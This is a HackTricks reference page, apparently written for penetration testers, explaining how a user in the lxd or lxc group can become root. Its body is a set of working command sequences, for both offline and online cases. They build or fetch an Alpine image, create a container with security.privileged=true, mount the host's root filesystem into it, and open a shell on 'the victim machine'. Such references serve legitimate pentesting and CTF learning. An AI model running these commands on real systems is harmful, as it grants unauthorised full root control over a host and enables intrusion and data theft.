# lxd/lxc Group - Privilege escalation
HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch Wed - 18.30(UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root ## Exploiting without internet ### Method 1 You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): ```bash sudo su #Install requirements sudo apt update sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools #Clone repo git clone https://github.com/lxc/distrobuilder #Make distrobuilder cd distrobuilder make #Prepare the creation of alpine mkdir -p $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml #Create the container sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8 ``` Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs** Add the image: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image list #You can see your new imported image ``` Create a container and add root path ```bash lxc init alpine privesc -c security.privileged=true --alias=alpine lxc list #List containers lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` {% hint style="danger" %} If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ Run **`lxd init`** and **repeat** the previous chunk of commands {% endhint %} Execute the container: ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` ### Method 2 Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine sudo ./build-alpine -a i686 # import the image lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail. # before running the image, start and configure the lxd storage pool as default lxd init # run the image lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true # interact with the container lxc start mycontainer lxc exec mycontainer /bin/sh ``` Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root) ## With internet You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html). ```bash lxc init ubuntu:16.04 test -c security.privileged=true lxc config device add test whatever disk source=/ path=/mnt/root recursive=true lxc start test lxc exec test bash [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` ## Other Refs {% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}
HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch Wed - 18.30(UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).